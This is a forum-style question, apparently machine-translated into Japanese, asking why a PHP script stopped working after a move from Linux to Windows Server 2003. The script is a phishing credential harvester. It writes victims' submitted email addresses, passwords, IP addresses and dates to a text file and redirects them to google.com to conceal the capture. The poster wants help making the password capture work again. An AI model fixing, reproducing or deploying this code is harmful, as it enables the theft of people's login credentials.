以前にこのスクリプトを Linux ボックスで使用したことがあり、機能することはわかっていますが、新しい Windows Server 2003 サーバーで使用すると機能しません。過去に、ファイルを 777 に chmod することでこの問題を解決しましたが、Windows ではそれができません。
コードは次のとおりです。
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
box1 と box2 のデータには空白が出力されますが、IP と日付は .txt ファイルに記録されます。提案してください?